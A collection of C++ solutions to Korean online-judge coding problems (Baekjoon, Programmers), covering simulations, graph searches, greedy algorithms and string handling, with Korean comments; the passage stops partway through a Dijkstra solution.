#include <vector>
#include <algorithm>
#include <string.h>
using namespace std;
int R, C, T;
int house[51][51];
int tmp[51][51];
int dy[4] = { -1,1,0,0 };
int dx[4] = { 0,0,-1,1 };
struct Pos {
int y, x;
Pos(int y, int x) : y(y), x(x) {};
};
vector<Pos> cleaner;
int calc() {
int sum = 0;
for (int i = 0; i < R; i++) {
for (int j = 0; j < C; j++) {
if (house[i][j] == -1 || house[i][j] == 0) continue;
sum += house[i][j];
}
}
return sum;
}
void diffuse() {
memset(tmp, 0, sizeof(tmp));
for (Pos p : cleaner) tmp[p.y][p.x] = -1;
//미세먼지 확산
for (int i = 0; i < R; i++) {
for (int j = 0; j < C; j++) {
if (house[i][j] != -1 && house[i][j] != 0) { //미세먼지이면
int cnt = 0; //확산된 공간 수
int mise = house[i][j] / 5; //확산 될 미세먼지 양
for (int k = 0; k < 4; k++) {
int ny = i + dy[k];
int nx = j + dx[k];
if (ny < 0 || nx < 0 || ny >= R || nx >= C || house[ny][nx] == -1) continue;
cnt++;
tmp[ny][nx] += mise;
}
tmp[i][j] += house[i][j] - (mise*cnt);
}
}
}
memcpy(house, tmp, sizeof(tmp));
}
void move(int cleanerY, int cleanerX, int * dir) {
int y = cleanerY;
int x = cleanerX + 1;
for (int k = 0; k < 4; k++) {
while (1) {
int ny = y + dy[dir[k]];
int nx = x + dx[dir[k]];
if (ny < 0 || nx < 0 || ny >= R || nx >= C) break;
if (ny == cleanerY && nx == cleanerX) break;
house[ny][nx] = tmp[y][x];
y = ny;
x = nx;
}
}
house[cleanerY][cleanerX + 1] = 0;
}
int findAns() {
int reverseClockDir[4] = { 3,0,2,1 }; //반시계
int clockDir[4] = { 3,1,2,0 }; //시계
while (T--) {
diffuse();
move(cleaner[0].y, cleaner[0].x, reverseClockDir);
move(cleaner[1].y, cleaner[1].x, clockDir);
}
return calc();
}
int main() {
cin >> R >> C >> T;
for (int i = 0; i < R; i++) {
for (int j = 0; j < C; j++) {
cin >> house[i][j];
if (house[i][j] == -1) {
cleaner.push_back(Pos(i, j));
}
}
}
cout << findAns();
return 0;
}<file_sep>/baekjoon/다트 게임.cpp
#include <iostream>
#include <string>
#include <map>
#include <vector>
#include <math.h>
using namespace std;
struct Board {
int score = 0;
char sq;
Board(int score, char sq) {
this->score = score;
this->sq = sq;
}
Board() {}
};
map<char, bool> info;
vector<Board> board;
int ans[5];
void initMap() {
string s = "0123456789";
for (char c : s) info[c] = true;
}
int solution(string dartResult) {
initMap();
int i = 0;
for (i = 0; i < dartResult.size(); i++) {
if (info.count(dartResult[i])) {
//10 체크
if (dartResult[i + 1] == '0') {
board.push_back(Board(10, dartResult[i+2]));
i += 2;
continue;
}
board.push_back(Board((int)(dartResult[i]-'0'), dartResult[i + 1]));
i += 1;
continue;
}
//옵션인 경우
board.push_back(Board(-1, dartResult[i]));
}
//점수 먼저 계산
for (int i = 0; i < board.size(); i++) {
if (board[i].score == -1) continue;
if (board[i].sq == 'S') {
ans[i] = board[i].score;
}
else if (board[i].sq == 'D') {
ans[i] = pow(board[i].score, 2);
}
else if (board[i].sq == 'T') {
ans[i] = pow(board[i].score, 3);
}
}
//옵션 계산
for (int i = 0; i < board.size(); i++) {
//옵션이면
if (board[i].score == -1) {
char option = board[i].sq;
if (option == '*') {
ans[i - 1] *= 2;
if (board[i - 2].score != -1) {
ans[i - 2] *= 2;
}
else {
if (i - 3 >= 0) ans[i - 3] *= 2;
}
}
else if (option == '#') {
ans[i - 1] *= -1;
}
}
}
int answer = 0;
for (int val : ans) answer += val;
return answer;
}
int main() {
char a = '1';
cout << solution("1D2S#10S");
return 0;
}<file_sep>/baekjoon/프로그래머스_영어 끝말잇기.cpp
#include <string>
#include <vector>
#include <iostream>
#include <unordered_map>
using namespace std;
unordered_map<string, bool> m;
vector<int> solution(int n, vector<string> words) {
vector<int> answer;
m[words[0]] = true;
int person = 0;
int order = 0;
for (int i = 0; i < words.size() - 1; i++) {
if (words[i].back() == words[i + 1].front() && !m.count(words[i + 1])) {
m[words[i + 1]] = true;
continue;
}
person = (i + 1) % n + 1;
order = (i + 1) / n + 1;
break;
}
answer.push_back(person);
answer.push_back(order);
return answer;
}<file_sep>/baekjoon/소스.cpp
//#include <iostream>
//#include <utility>
//#include <vector>
//#include <algorithm>
//using namespace std;
//
//struct P {
// int x, y;
//};
//void printP(P p) {
// cout << p.x;
//}
//bool cmp(P p1, P p2) {
// return (p1.y < p2.y);
//}
//int main() {
// //@TEST
// /*pair<int, int> p;
// p = make_pair(1, 1);
// p = { 2, 3};
// cout << p.first << p.second;*/
//
// //@TEST
// //P p;
// //p.x = 1;
// //printP(p);
//
// //@TEST
// vector<P> v;
// P p1, p2;
// p1 = { 1,3 };
// p2 = { 4,2 };
// v.push_back(p1);
// v.push_back(p2);
// /*cout << v.back().y;
// sort(v.begin(), v.end(),cmp);
// cout << v.size();
// cout << v.back().y <<'\n';*/
// if (&v[0] == &p1) {
// cout << "정답";
// }
// return 0;
//}
///////////////////////////////////////////////////////충전기 뻘짓///////////////////////////////////
//#include <iostream>
//#include <vector>
//#include <utility>
//#include <math.h>
//#include <algorithm>
//#define UP 1
//#define RIGHT 2
//#define DOWN 3
//#define LEFT 4
//using namespace std;
//
//int T;
//int M, A;
//int sum;
//vector<int> aMove, bMove; // a,b 이동방향
//pair<int, int> aLocation, bLocation;
//struct BC
//{
// int x, y;
// int range;
// int power;
// bool used;
//};
//vector<BC> bc, cbA, cbB, result; //bc, 각 a,b 연결가능 충전기, ab 연결한 충전기
//
//void input() {
// cin >> M >> A;
// aMove.clear();
// bMove.clear();
// //처음 위치도 체크하므로 '이동하지않음'을 맨 처음에 넣어준다.
// aMove.push_back(0);
// bMove.push_back(0);
// for (int i = 0; i < M; i++) {
// int input;
// cin >> input;
// aMove.push_back(input);
// }
// for (int i = 0; i < M; i++) {
// int input;
// cin >> input;
// bMove.push_back(input);
// }
// for (int i = 0; i < A; i++) {
// BC b;
// int x, y, r, p;
// cin >> x >> y >> r >> p;
// b = { x,y,r,p,false };
// bc.push_back(b);
// }
//}
//
//bool isPossibeConnect(int x, int y, BC cb) {
// return (abs(x - cb.x) + abs(y - cb.y)) <= cb.range;
//}
//
//bool cmp(BC cb1, BC cb2) {
// return cb1.power < cb2.power;
//}
//
//void findMaxPower(int n) {
// //cout << "횟수 : " << n << '\n';
// //cout << "Asize : " << checkA.size() << '\n' << "Bsize : " << checkB.size() << '\n';
// //A 연결 가능 충전기가 있을 경우
// if (cbA.size() > 0) {
// sort(cbA.begin(), cbA.end(), cmp);
// for (int i = 0; i < cbA.size(); i++) {
// result.push_back(cbA[i]);
// }
// sort(result.begin(), result.end(), cmp);
// sum += result.back().power;
// result.pop_back();
// }
//
// //B 연결 가능 충전기가 있을 경우
// if (cbB.size() > 0) {
// for (int i = 0; i < cbB.size(); i++) {
// result.push_back(cbB[i]);
// }
// sort(result.begin(), result.end(), cmp);
// //A도 있을 경우
// if (cbA.size() > 0) {
// //A와 중복체크
// for (int i = result.size() - 1; i >= 0; i--) {
// int cnt = 0;
// //중복이 있으면 해당 MAX CB 제거
// for (int j = 0; j < cbA.size(); j++) {
// if (result.back().x == cbA[j].x && result.back().y == cbA[j].y) {
// result.pop_back();
// }
// else cnt++;
// }
// //중복 없으면 result.back()의 성능이 B의 최대값
// if (cnt == cbA.size()) {
// sum += result.back().power;
// break;
// }
// }
// }
// //A 없을 경우
// else {
// sum += result.back().power;
// }
// }
// cout << "회수 : " << n << ' ' << sum << '\n';
// result.clear();
//}
//void findAns() {
// aLocation = { 1,1 };
// bLocation = { 10,10 };
// //각 타임마다
// for (int i = 0; i <= M; i++) {
// //A이동
// if (aMove[i] == UP && aLocation.second - 1 >= 1) {
// aLocation.second--;
// }
// if (aMove[i] == RIGHT && aLocation.first + 1 <= 10) {
// aLocation.first++;
// }
// if (aMove[i] == DOWN && aLocation.second + 1 <= 10) {
// aLocation.second++;
// }
// if (aMove[i] == LEFT && aLocation.first - 1 >= 1) {
// aLocation.first--;
// }
// for (int j = 0; j < A; j++) { //A연결할 수 있는 충전기 찾기
// if (isPossibeConnect(aLocation.first, aLocation.second, bc[j])) {
// cbA.push_back(bc[j]);
// }
// }
// //B이동
// if (bMove[i] == UP && bLocation.second - 1 >= 1) {
// bLocation.second--;
// }
// if (bMove[i] == RIGHT && bLocation.first + 1 <= 10) {
// bLocation.first++;
// }
// if (bMove[i] == DOWN && bLocation.second + 1 <= 10) {
// bLocation.second++;
// }
// if (bMove[i] == LEFT && bLocation.first - 1 >= 1) {
// bLocation.first--;
// }
// for (int j = 0; j < A; j++) { //B와 연결할 수 있는 충전기 찾기
// if (isPossibeConnect(bLocation.first, bLocation.second, bc[j])) {
// cbB.push_back(bc[j]);
// }
// }
// //A,B 최적 충전기 찾기
// findMaxPower(i);
// cbA.clear();
// cbB.clear();
// }
//}
//void output() {
// cout << M << ' ' << A << '\n';
// for (int i = 0; i <= M; i++) {
// cout << aMove[i];
// }
// cout << '\n';
// for (int i = 0; i <= M; i++) {
// cout << bMove[i];
// }
// cout << '\n';
// for (int i = 0; i < bc.size(); i++) {
// cout << bc[i].x << bc[i].y << bc[i].range << bc[i].power;
// cout << '\n';
// }
//}
//int main() {
// cin >> T;
// for (int t = 1; t <= T; t++) {
// input();
// findAns();
// cout << "#" << t << ' ' << sum << '\n';
// bc.clear();
// sum = 0;
// }
// return 0;
//}
<file_sep>/baekjoon/환승(5214).cpp
#include <iostream>
#include <queue>
#include <vector>
using namespace std;
int N, K, M;
vector<int> v[101001];
bool visit[101001];
int dist[101001];
queue<int> q;
int bfs(int start) {
q.push(start);
visit[start] = true;
while (!q.empty()) {
int cur = q.front();
q.pop();
for (int next : v[cur]) {
if (!visit[next]) {
q.push(next);
visit[next] = true;
dist[next] = dist[cur] + 1;
}
}
}
if (N == 1) return 1;
if (dist[N] == 0) return -1;
return dist[N] / 2 + 1;
}
int main() {
scanf("%d %d %d", &N, &K, &M);
int x = 0;
//하이퍼튜브도 하나의 노드로 간주하여 그래프 생성 (모든 노드간 연결 그래프를 만들 경우, 메모리 초과 및 시간 초과 발생)
for (int i = 1; i <= M; i++) {
for (int j = 0; j < K; j++) {
scanf("%d", &x);
v[N + i].push_back(x);
v[x].push_back(N + i);
}
}
printf("%d", bfs(1));
return 0;
}<file_sep>/baekjoon/접미사 배열(11656).cpp
#include <iostream>
#include <vector>
#include <algorithm>
#include <string>
using namespace std;
string str;
vector<string> ans;
void findAns() {
for (int i = 0; i < str.size(); i++) {
ans.push_back(str.substr(i));
}
sort(ans.begin(), ans.end());
for (string s : ans) {
cout << s << '\n';
}
}
int main() {
cin >> str;
findAns();
return 0;
}
<file_sep>/baekjoon/캥거루 세마리(2965).cpp
#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
vector<int> v;
void input() {
int x;
for (int i = 0; i < 3; i++) {
cin >> x;
v.push_back(x);
}
}
int findAns() {
sort(v.begin(), v.end());
int front = v[1] - v[0], back = v[2] - v[1];
return front > back ? front - 1 : back - 1;
}
int main() {
input();
cout << findAns();
return 0;
}<file_sep>/baekjoon/동전 0(11047).cpp
#include <iostream>
#include <vector>
using namespace std;
int N, K, ans;
vector <int> v;
void input() {
int x;
for (int i = 0; i < N; i++) {
cin >> x;
v.push_back(x);
}
}
//단순 뺄셈 (180ms)
void findAns() {
while (K != 0) {
if (K < v[N - 1]) {
N--;
continue;
}
K -= v[N - 1];
ans++;
}
}
//나누기로 (0ms)
void findAns2() {
while (K != 0) {
if (K < v[N - 1]) {
N--;
continue;
}
ans += K / v[N - 1];
K %= v[N - 1];
}
}
int main() {
cin >> N >> K;
input();
findAns2();
cout << ans;
return 0;
}<file_sep>/baekjoon/R2(3046).cpp
#include <iostream>
using namespace std;
int r, s;
int main() {
scanf("%d %d", &r, &s);
printf("%d", s * 2 - r);
return 0;
}<file_sep>/baekjoon/프로그래머스_최솟값 만들기.cpp
#include <iostream>
#include<vector>
#include <algorithm>
using namespace std;
bool cmp(int &first, int &second) {
return first > second;
}
int solution(vector<int> A, vector<int> B)
{
int answer = 0;
sort(A.begin(), A.end());
sort(B.begin(), B.end(), cmp);
for (int i = 0; i < A.size(); i++) {
answer += A[i] * B[i];
}
return answer;
}
//하나의 배열은 오름차순, 하나의 배열은 내림차순으로 해서 각각 같은위치의 곱을 한다.
//이는 현재까지 최대값 x 현재까지 최소값을 의미한다.
//이 과정을 반복하여 구해진 모든 값을 합하면 된다.
<file_sep>/baekjoon/매일프로그래밍_문제7.cpp
//주어진 string 에 모든 단어를 거꾸로 하시오.
//예제)
//Input: “abc 123 apple”
//Output : “cba 321 elppa”
#include <iostream>
#include <string>
#include <vector>
#include <stack>
using namespace std;
string str;
vector<string> v;
stack<char> st;
void init() {
string tmp = "";
for (char c : str) {
if (c == ' ') {
v.push_back(tmp);
tmp = "";
continue;
}
tmp += c;
}
v.push_back(tmp);
}
void findAns() {
for (string str : v) {
for (int i = str.size() - 1; i >= 0; i--) {
cout << str[i];
}
cout << ' ';
}
}
void findAnsByStack() {
for (char c : str) {
if (c == ' ') {
while (!st.empty()) {
cout << st.top();
st.pop();
}
cout << ' ';
continue;
}
st.push(c);
}
while (!st.empty()) {
cout << st.top();
st.pop();
}
cout << ' ';
}
int main() {
getline(cin, str);
init(); //입력받은 문자열을 공백 기준으로 나눠 해당 단어를 string타입 벡터에 저장한다
findAns(); //vector안의 단어들을 뒤집어서 출력
findAnsByStack(); //stack 이용해서 출력
return 0;
}<file_sep>/baekjoon/숫자 카드(10815).cpp
#include <iostream>
#include <map>
using namespace std;
int N, M, x;
map<int, int> m;
void findAns() {
for (int i = 0; i < M; i++) {
scanf("%d", &x);
if (m.count(x)) printf("1 ");
else printf("0 ");
}
}
int main() {
scanf("%d", &N);
for (int i = 0; i < N; i++) {
scanf("%d", &x);
m[x] = 1;
}
scanf("%d", &M);
findAns();
return 0;
}<file_sep>/baekjoon/부등호(2529).cpp
#include <iostream>
#include <vector>
#include <string>
#include <math.h>
typedef long long ll;
using namespace std;
ll N, mn = 2e10, mx = -2e10;
vector<ll> v = { 0,1,2,3,4,5,6,7,8,9 };
vector<ll> n;
bool visit[10];
char sign[9];
void dfs(int cnt, int first, int second) {
if (cnt >= 2) {
if (sign[cnt - 2] == '<') {
if (first > second) return;
}
else if (sign[cnt - 2] == '>') {
if (first < second) return;
}
}
if (cnt == N + 1) {
ll num = 0;
for (int i = 0; i < n.size(); i++) {
num += n[i] * pow(10, n.size() - i - 1);
}
mx = mx < num ? num : mx;
mn = mn > num ? num : mn;
return;
}
for (int i = 0; i < v.size(); i++) {
if (visit[i] == false) {
visit[i] = true;
n.push_back(v[i]);
dfs(cnt + 1, second, v[i]);
visit[i] = false;
n.pop_back();
}
}
}
void input() {
cin >> N;
for (int i = 0; i < N; i++) {
cin >> sign[i];
}
}
void findAns() {
for (int i = 0; i < v.size(); i++) {
if (visit[i] == false) {
visit[i] = true;
n.push_back(v[i]);
dfs(1, 0, v[i]);
visit[i] = false;
n.pop_back();
}
}
}
string toString(ll num) {
string n = to_string(num);
if (n.size() < N + 1) {
n = '0';
n += to_string(num);
}
return n;
}
int main() {
input();
findAns();
cout << toString(mx) << '\n' << toString(mn);
return 0;
}<file_sep>/baekjoon/프로그래머스_배달.cpp
#include <iostream>
#include <vector>
#include <queue>
using namespace std;
struct Node {
int me, dist;
Node(int n, int dist) {
this->me = n;
this->dist = dist;
}
Node() {};
};
struct cmp {
bool operator()(Node &first, Node &second) {
return first.dist > second.dist;
}
};
int dist[51];
vector<Node> nodes[51];
priority_queue<Node, vector<Node>, cmp> q;
void initDist(int N) {
for (int i = 1; i <= N; i++) {
dist[i] = 2e9;
}
}
void bfs(int N) {
q.push(Node(1, 0));
dist[1] = 0;
while (!q.empty()) {
Node cur = q.top();
q.pop();
for (Node next : nodes[cur.me]) {
if (dist[next.me] > dist[cur.me] + next.dist) {
dist[next.me] = dist[cur.me] + next.dist;
next.dist = dist[next.me];
q.push(next);
}
}
}
}
int solution(int N, vector<vector<int> > road, int K) {
int answer = 0;
initDist(N);
for (int i = 0; i < road.size(); i++) {
nodes[road[i][0]].push_back(Node(road[i][1], road[i][2]));
nodes[road[i][1]].push_back(Node(road[i][0], road[i][2]));
}
bfs(N);
for (int i = 1; i <= N; i++) {
if (dist[i] <= K) answer++;
}
return answer;
}
int main() {
}<file_sep>/baekjoon/순열검사.cpp
#include <iostream>
#include <vector>
#include <unordered_map>
using namespace std;
unordered_map<int, int> m;
bool solution(vector<int> v) {
int size = v.size();
for (int i = 1; i <= size; i++) m[i] = 1;
for (int i = 0; i < size; i++) {
if (m[v[i]] == 0) return false;
m[v[i]]--;
}
return true;
}<file_sep>/baekjoon/잃어버린 괄호(1541).cpp
#include <iostream>
#include <string>
#include <vector>
#define PLUS '+'
#define MINUS '-'
using namespace std;
string str;
vector<int> number;
vector<char> op;
void parse() {
string n = "";
for (char c : str) {
if (c == PLUS) {
op.push_back(PLUS);
number.push_back(atoi(n.c_str()));
n = "";
}
else if (c == MINUS) {
op.push_back(MINUS);
number.push_back(atoi(n.c_str()));
n = "";
}
else n += c;
}
number.push_back(atoi(n.c_str()));
}
int findAns() {
int sum = number.front();
bool chk = false;
for (int i = 1; i < number.size(); i++) {
if (chk) {
sum -= number[i];
continue;
}
if (op[i-1] == MINUS) {
sum -= number[i];
chk = true;
}
else {
sum += number[i];
}
}
return sum;
}
int main() {
cin >> str;
parse();
cout << findAns();
return 0;
}
// 1) string 을 int타입으로 parse하는 함수 구현
// 2) 이때, 추후 문제 해결을 편리하게 하기 위해 피연산자는 int타입 배열에, 연산자는 char타입 배열에 따로 저장하게끔 한다.
// 3) 맨처음 - 가 나오는 시점부터 그 뒤는 모두 - 처리하면 끝
<file_sep>/baekjoon/구슬 찾기(2617).cpp
#include <iostream>
#include <vector>
#include <string.h>
using namespace std;
vector<int> big[100];
vector<int> small[100];
bool used[100][100];
int total[100];
int N, M, ans;
void bigDfs(int i, int cur) {
for (int j = 0; j < big[cur].size(); j++) {
if (used[i][big[cur][j]] == false) {
used[i][big[cur][j]] = true;
total[i]++;
bigDfs(i,big[cur][j]);
}
}
}
void smallDfs(int i, int cur) {
for (int j = 0; j < small[cur].size(); j++) {
if (used[i][small[cur][j]] == false) {
used[i][small[cur][j]] = true;
total[i]++;
smallDfs(i, small[cur][j]);
}
}
}
void findAns() {
int range = N / 2;
for (int i = 1; i <= N; i++) {
bigDfs(i, i);
}
for (int i = 1; i <= N; i++) {
if (total[i] > range) ans++;
}
memset(used, false, sizeof(used));
memset(total, 0, sizeof(total));
for (int i = 1; i <= N; i++) {
smallDfs(i, i);
}
for (int i = 1; i <= N; i++) {
if (total[i] > range) ans++;
}
}
int main() {
scanf("%d %d", &N, &M);
int s, b;
for (int i = 0; i < M; i++) {
scanf("%d %d", &s, &b);
big[s].push_back(b);
small[b].push_back(s);
}
findAns();
printf("%d", ans);
return 0;
}<file_sep>/baekjoon/숫자 만들기 (삼성 모의 SW 역량테스트_4008).cpp
/////////////////////////////////////////////////////////숫자 만들기////////////////////////////////////////////////////
//#include <iostream>
//#include <vector>
//using namespace std;
//int TC;
//int N;
//int maxNum = -2e9;
//int minNum = 2e9;
//vector <int> op, nums;
//
//void getInput() {
// for (int i = 0; i < 4; i++) {
// int input;
// cin >> input;
// op.push_back(input);
// }
// for (int j = 0; j < N; j++) {
// int input;
// cin >> input;
// nums.push_back(input);
// }
//}
//
//void findAns(int cnt, int result, int nextIndex) {
// if (cnt == N - 1) {
// maxNum = result > maxNum ? result : maxNum;
// minNum = result < minNum ? result : minNum;
// return;
// }
// for (int i = 0; i < 4; i++) {
// if (op[i] != 0) {
// if (i == 0) {
// op[i]--;
// findAns(cnt + 1, result + nums[nextIndex], nextIndex + 1);
// op[i]++;
// }
// if (i == 1) {
// op[i]--;
// findAns(cnt + 1, result - nums[nextIndex], nextIndex + 1);
// op[i]++;
// }
// if (i == 2) {
// op[i]--;
// findAns(cnt + 1, result * nums[nextIndex], nextIndex + 1);
// op[i]++;
// }
// if (i == 3) {
// op[i]--;
// findAns(cnt + 1, result / nums[nextIndex], nextIndex + 1);
// op[i]++;
// }
// }
// }
//}
//
//int main() {
// cin >> TC;
// for (int i = 1; i <= TC; i++) {
// cin >> N;
// getInput();
// findAns(0, nums[0], 1);
// int ans = maxNum - minNum;
// cout << "#" << i << ' ' << ans <<'\n';
// maxNum = -2e9;
// minNum = 2e9;
// op.clear();
// nums.clear();
// }
// return 0;
//}<file_sep>/baekjoon/귀걸이(1380).cpp
#include <iostream>
#include <string>
#include <vector>
using namespace std;
int N, tc;
struct Student {
string name;
int count = 0;
Student(string name) {
this->name = name;
}
Student() {};
};
string findAns() {
vector<Student> v;
for (int i = 0; i < N; i++) {
string input;
getline(cin, input);
v.push_back(Student(input));
}
int num; char rand;
for (int i = 0; i < 2 * N - 1; i++) {
cin >> num >> rand;
v[num - 1].count++;
}
for (int i = 0; i < N; i++) {
if (v[i].count == 1) return v[i].name;
}
}
int main() {
while (1) {
cin >> N;
if (N == 0) break;
cin >> ws; //getline()이 N입력 후 엔터값을 받기 때문에 ws로 대신 받게 끔
cout << ++tc << ' ' << findAns() << '\n';
}
return 0;
}<file_sep>/baekjoon/삼성_인구이동(18하반기 sw기출).cpp
#include <iostream>
#include <vector>
#include <queue>
#include <string.h>
#include <utility>
#include <math.h>
using namespace std;
int N, L, R;
vector<vector<int> > originMap, checkMap;
vector<vector<bool> > check;
vector<int> calc, resultInfo;
queue<pair<int, int> > q;
int dy[4] = { -1,1,0,0 };
int dx[4] = { 0,0,-1,1 };
int cnt, ans;
void input() {
vector<int> e;
vector<bool> e1;
e.resize(N);
e1.resize(N);
for (int i = 0; i < N; i++) {
originMap.push_back(e);
checkMap.push_back(e);
check.push_back(e1);
}
for (int i = 0; i < N; i++) {
for (int j = 0; j < N; j++) {
cin >> originMap[i][j];
}
}
}
void output(vector<vector<int> > v) {
cout << '\n';
for (int i = 0; i < N; i++) {
for (int j = 0; j < N; j++) {
cout << v[i][j] << ' ';
}
cout << '\n';
}
}
bool isPossibleToGo(int v1, int v2) {
int val = abs(v1 - v2);
if (val >= L && val <= R) {
return true;
}
return false;
}
void getAvg() {
int sum = 0;
for (int i = 0; i < calc.size(); i++) {
sum += calc[i];
}
resultInfo.push_back(sum / calc.size());
calc.clear();
}
void drawMap() {
for (int i = 0; i < N; i++) {
for (int j = 0; j < N; j++) {
for (int k = 0; k < resultInfo.size(); k++) {
if (checkMap[i][j] - 1 == k) {
originMap[i][j] = resultInfo[k];
}
}
}
}
}
void bfs() {
while (!q.empty()) {
for (int k = 0; k < 4; k++) {
int ny = q.front().first + dy[k];
int nx = q.front().second + dx[k];
if (ny < 0 || nx < 0 || ny >= N || nx >= N) continue;
if (check[ny][nx] == false && isPossibleToGo(originMap[ny][nx], originMap[q.front().first][q.front().second])) {
checkMap[ny][nx] = cnt;
check[ny][nx] = true;
calc.push_back(originMap[ny][nx]);
q.push(make_pair(ny, nx));
}
}
q.pop();
}
}
void initCheck() {
for (int i = 0; i < N; i++) {
for (int j = 0; j < N; j++) {
check[i][j] = false;
}
}
}
void findAns() {
while (1) {
cnt = 0;
//한 타임에 대해
for (int i = 0; i < N; i++) {
for (int j = 0; j < N; j++) {
if (check[i][j] == false) {
cnt++; //영역 번호 및 개수
checkMap[i][j] = cnt;
check[i][j] = true;
calc.push_back(originMap[i][j]);
q.push(make_pair(i, j));
bfs();
getAvg();
}
}
}
if (cnt == N * N) {
return;
}
ans++;
drawMap();
initCheck();
resultInfo.clear();
}
}
int main() {
cin >> N >> L >> R;
input();
findAns();
cout << ans;
return 0;
}<file_sep>/baekjoon/프로그래머스_올바른 괄호.cpp
#include<string>
#include <iostream>
using namespace std;
int cnt;
bool check(string s) {
for (char c : s) {
if (c == '(') cnt++;
else cnt--;
if (cnt < 0) return false;
}
return !cnt;
}
bool solution(string s) {
return check(s);
}
//문자열 s를 순차적으로 탐색하면서, 여는괄호가 나올 시, cnt++, 닫는괄호가 나올 시, cnt--를 해준다.
//만약 탐색 과정에서 닫는괄호가 더 많이 나왔다면(cnt<0) 올바른 괄호가 될 수 없으므로 false 리턴
//탐색 종료 후, 최종 cnt가 0이면(여는괄호, 닫는괄호의 수가 동일) true, 아니면 false 리턴<file_sep>/baekjoon/주사위 세개(2480).cpp
#include <iostream>
using namespace std;
int arr[7];
void input() {
int x;
for (int i = 0; i < 3; i++) {
cin >> x;
arr[x]++;
}
}
int findAns() {
int mx = -2e9, ans[4];
for (int i = 1; i <= 6; i++) {
if (arr[i] != 0 && mx <= arr[i]) {
mx = arr[i];
ans[mx] = i;
}
}
if (mx == 1) return ans[mx] * 100;
if (mx == 2) return 1000 + ans[mx] * 100;
return 10000 + ans[mx] * 1000;
}
int main() {
input();
cout << findAns();
return 0;
}<file_sep>/baekjoon/심부름 가는 길(5554).cpp
#include <iostream>
using namespace std;
int x, total;
int main() {
for (int i = 0; i < 4; i++) {
cin >> x;
total += x;
}
int m = total / 60;
int s = total % 60;
cout << m << '\n' << s;
return 0;
}
//분 : 전체 초를 60으로 나눈 몫
//초 : 전체 초를 60으로 나눈 나머지<file_sep>/baekjoon/프로그래머스_코테1.cpp
#include <iostream>
#include <vector>
#include <string.h>
using namespace std;
vector<int> prime;
bool used[1001];
int n, ans;
void erase(int v) {
for (int i = v; i <= n; i += v) {
if (used[i] == false) used[i] = true;
}
}
void initPrime() {
for (int i = 2; i <= n; i++) {
if (used[i] == false) {
prime.push_back(i);
erase(i);
}
}
memset(used, false, sizeof(used));
}
void calc(int cnt, int sum, int idx) {
if (cnt == 3) {
if (sum == n) {
ans++;
for (int i = 0; i <= n; i++) {
if (used[i] == true) cout << prime[i] << ' ';
}
cout << '\n';
}
return;
}
for (int i = idx; i < prime.size(); i++) {
if (used[i] == false) {
used[i] = true;
calc(cnt + 1, sum + prime[i], i);
used[i] = false;
}
}
}
int main() {
scanf("%d", &n);
initPrime();
calc(0, 0, 0);
printf("%d", ans);
return 0;
}<file_sep>/baekjoon/동일한 단어 그룹화하기(16499).cpp
#include <iostream>
#include <string>
#include <algorithm>
#include <map>
using namespace std;
int N;
map<string, bool> m;
int main() {
cin >> N;
string str = "";
for (int i = 0; i < N; i++) {
cin >> str;
sort(str.begin(), str.end());
m[str] = true;
}
cout << m.size();
return 0;
}<file_sep>/baekjoon/CyclicRotation(배열 회전).cpp
#include <iostream>
#include <vector>
#include <stack>
using namespace std;
stack<int> st;
vector<int> solution(vector<int> &A, int K) {
vector<int> ans;
if (A.size() == 0) return ans;
int range = K % A.size();
while (range > 0 && A.size() > 0) {
st.push(A.back());
A.pop_back();
range--;
}
while (!st.empty()) {
ans.push_back(st.top());
st.pop();
}
for (int val : A) ans.push_back(val);
return ans;
}<file_sep>/baekjoon/나는 요리사다(2953).cpp
#include <iostream>
#include <vector>
using namespace std;
vector<int> v;
int num, score;
void input() {
int x;
for (int i = 0; i < 5; i++) {
int sum = 0;
for (int j = 0; j < 4; j++) {
cin >> x;
sum += x;
}
v.push_back(sum);
}
}
void findAns() {
for (int i = 0; i < v.size(); i++) {
if (score < v[i]) {
score = v[i];
num = i + 1;
}
}
}
int main() {
input();
findAns();
cout << num << ' ' << score;
return 0;
}
///////////////////////////////////////////////using pair///////////////////////////////////////////////
#include <iostream>
#include <vector>
#include <utility>
#include <algorithm>
using namespace std;
vector<pair<int, int> > v;
void findAns() {
int x;
for (int i = 0; i < 5; i++) {
int s = 0;
for (int j = 0; j < 4; j++) {
cin >> x;
s += x;
}
v.push_back({ s,i + 1 });
}
sort(v.begin(), v.end());
}
int main() {
findAns();
cout << v.back().second << ' ' << v.back().first;
return 0;
}<file_sep>/baekjoon/로또(6603).cpp
//#include <iostream>
//#include <vector>
//#include <algorithm>
//#define FINISH 6
//#define MAX 13
//using namespace std;
//
//int N = 1;
//vector<int> s, ans, temp;
//bool check[MAX];
//
//void dfs(int cnt) {
// if (cnt == FINISH) {
// temp.clear();
// for (int i = 0; i < FINISH; i++) {
// temp.push_back(ans[i]);
// }
// sort(temp.begin(), temp.end());
// for (int i = 0; i < FINISH; i++) {
// if (temp[i] != ans[i]) {
// return;
// }
// }
// for (int i = 0; i < FINISH; i++) {
// cout << ans[i] << ' ';
// }
// cout << '\n';
// return;
// }
// for (int i = 0; i < N; i++) {
// if (check[i] == false) {
// check[i] = true;
// ans.push_back(s[i]);
// dfs(cnt + 1);
// ans.pop_back();
// check[i] = false;
// }
// }
//}
//
//int main() {
// while (N) {
// cin >> N;
// for (int i = 0; i < N; i++) {
// int input;
// cin >> input;
// s.push_back(input);
// }
// dfs(0);
// cout << '\n';
// s.clear();
// ans.clear();
// }
// return 0;
//}<file_sep>/baekjoon/프로그래머스_숫자게임.cpp
#include <string>
#include <vector>
#include <algorithm>
using namespace std;
bool cmp(int &a, int &b) {
return a > b;
}
int solution(vector<int> A, vector<int> B) {
int answer = 0;
sort(A.begin(), A.end(), cmp);
sort(B.begin(), B.end());
for (int val : B) {
if (A.back() >= val) continue;
answer++;
A.pop_back();
}
return answer;
}<file_sep>/baekjoon/파티(1238).cpp
#include <iostream>
#include <vector>
#include <queue>
#include <algorithm>
#define MAX 1001
using namespace std;
int N, M, X, from, to, weight;
int dist[MAX], total[MAX];
struct Node {
int me, weight;
Node(int me, int weight) {
this->me = me;
this->weight = weight;
}
Node() {}
};
struct cmp {
bool operator()(const Node &n1, const Node &n2) {
return n1.weight > n2.weight;
}
};
vector<vector<Node> > nodes;
vector<vector<Node> > reverseNodes;
priority_queue<Node, vector<Node>, cmp> q;
void findAns(vector<vector<Node> > nodes) {
q.push(Node(X,0));
dist[X] = 0;
while (!q.empty()) {
Node cur = q.top();
q.pop();
for (Node next : nodes[cur.me]) {
